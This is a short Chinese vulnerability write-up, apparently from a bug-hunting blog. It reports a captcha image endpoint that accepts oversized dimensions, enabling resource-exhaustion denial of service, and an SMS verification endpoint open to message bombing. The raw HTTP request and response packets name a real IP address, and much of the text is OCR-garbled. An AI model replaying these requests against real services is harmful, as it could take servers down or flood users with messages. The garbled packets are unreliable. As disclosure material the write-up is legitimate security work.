移动某业务，已经上线的业务，还能测出一个高危。

大佬轻喷哈，没啥技术含量，捡漏的有木有。

1. 漏洞URL:

http://***.***.**.***/miot/login/changepwd?account=
危害：高

恶意被利用会造成服务器资源恶意占用会导致宕机

数据包：

GET 

[image: image1.png]/miot/kaptcha/getKaptcha?chaos=0&width=36000&height=160&]len=4&time=15
65168882860 HITP/1.1

Host:

User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; 1v:68.0)
Gecko/20100101 Firefox/68.0

Accept: image/webp, */*

Accept-Language:

zh=CN, zh;q=0. 8, zhTW;q=0. 7, zh-HK; q=0. 5, en-US; q=0. 3, en; q=0. 2
Accept-Encoding: gzip, deflate

Connection: close

Referer: http:// ‘login/changepwd?account=
Cookie: JSESSIONID=D9EE21181B65B6475406A25B94E450AA

Pragma: no-cache

Cache-Control: no-cache




[image: image2.png]Target: htipzit11.48.25.436802 7 (2)

HITPA 1200

Server: ngmxf1 101
User-Agert: moznars.u (Windows NT 6.1; WinS4; X64; v-68.0) Geckor20100101 Firefox/58.0 Date: Wed, 07 Aug 2018 03:08:29 GHT
Accept imageiwebp I Connection: cose
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Accept.Encodng gzip, deflate
Connecton: close E c
Referer: hip:/ L Tognlchangepw2account= 578 (7)01444 9B2<34200 ©
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[image: image3.png]Go cancel >|r Target: httpn 1148254358092 7 (2)

‘GET ImintactchalGetaptcha?chaos=08 width-350008heighi=1 508len=4&iime=1 565163832060 TP | TP 1 200

Host Server:ngien 101
User-Agert: Hoziars u indows NT 6.1; Wine4; x64 1v:68.0) Geckor20100101 Firefoxss6.0 Date: Wed, 07 Aug 2018 09.03:29 GHT
Accept: imageiwebp I Connection close
Accept-Language: 2h-CN 2 =0 8 20-TWg=0.7,2hHKq=0.5 en-US;q=0.3 enia=0.2 Contert-Lengih 95282
Accept-Encodng gzip,deflate
Connection: close. wF c
Referer it/ togiichangepwa7accourt= 5172 (101444 BB 34270 C
Cookie: JSESSIONID=DYEE 2111186585475 406A25B34E4S0AA 2 Y R
Progma: no-cache ) 1A Qa "q 2 481 RIi$3br
Cache-Cortrot no-cache %81(0*456783 COEFGHUSTUVWK Y Zcdefohistuvwxyz BT RN 1LY 7K | 700 RAGHTIN {534 34 08 Q0
| w N AQag 720 BN AR br
SAT%0 B()'SE7BCOEFGHUSTUVWKY Zcdefohistuvwxyz P11 155 SUBHRi +HT - 457) I HNIHR T MR & 8L W ik
7 8
«
«
«
«
«
«
«
«
«
«
«
«
«

o @@ E e omes | @ (&) () (&) [rmrmmmem omres

95,40 bytes | 1,502 mills





限制参数控制大小

短信轰炸（轰炸系统）

数据包：

[image: image4.png]POST /11ff/userController/getPhoneCode. do HTTP/1. 1

Host: .

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.14; rv:68.0)
Gecko/20100101 Firefox/68. 0

Accept: application/json, text/javascript, */*; q=0.01
Accept—-Language:

zh=CN, zh;q=0. 8, zh=TW; q=0. 7, zh~HK; ¢=0. 5, en-US;q=0. 3, en;q=0. 2
Accept—-Encoding: gzip, deflate

Referer: http:// '11ff/login. jsp

Content-Type: application/x-www—form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest

Content—Length: 14

Connection: close

userName=admin





[image: image5.png]Go || cancel

Request

Params | Headers | Hex

Target: http://111.47.240.159 & (2)

Response

@ Headers | Hex

POST /11%f/nsercontroller/getPhoneCode.do HITE/1.1

Host :

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:68.0)
Gecko/20100101 Firefox/68.0

Accept: application/json, text/javascript, */+*; q=0.01
Accept-Language:

zh-CN, zh;q=0. 8, zh-TH; q=0.7, zh-HK; q=0.5, en-US; g=0.3,en; g=0.2
Accept-Encoding: azin. deflate

Referer: http: 1££/login. jsp

Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest

Content-Length: 17

Connection: close

Cookie: JSESSIONID=D26907ADA60DO1EE296ES06918 ]
JSESSIONID=D26907ADA60DO1EE296E50691B4

userName=admin$20

7.

HTTP/1.1 200 OK

Server: nginx/1.15.8

Date: Wed, 07 Aug 2019 08:24:34 GMT

Content-Type: application/json

Connection: close

Set-Cookie: JSESSIONID=D26907ADAGODO1EE296ES0691B4B6572;
JSESSTONID=D26907ADA60DO1EE296E50691B4B6572; Httponly
Content-Length: 106

("msg" s "EHE—HWNESRRTEERIESHE, WHEBH!", "data” mull, "status’:
0y

oS





[image: image6.png]Go Cancel | [ <[v || >Ir

Request

Params | Headers | Hex

Target: http://111.47.240.159 2 (2)

Response

@ Headers | Hex

BOST /11% " +roller/getPhoneCode.do HITE/1.1
Host: )

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:68.0)
Gecko/20100101 Firefox/68.0

Accept: application/json, text/javaseript, */*; g=0.01
Accept-Language:

zh-CN, zh;g=0.8, zh~TW; g=0.7, zh-HK; @
Accept-Encoding: azin deflare
Referer: http:/ 11££/1ogin. jsp

Content-Type: application/x-ww-forn-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest

Content-Length: 14

Connection: close

.5,en-US;g=0.3,en;q;

userName=admir|

-

HTTP/1.1 200 OK
Server: nginx/1.15.8

Date: Wed, 07 Aug 2019 08:24:45 GMT

Content-Type: application/json

Connection: close

Set-Cookie: JSESSIONID=76E13999E9F7FAQ7F6E009BFSDET
Httponly

Content-Length: 82

fEESEERIERE R, HEBEK ", "data" :null, "status

r—

; Path=/11£f;

{"msg":





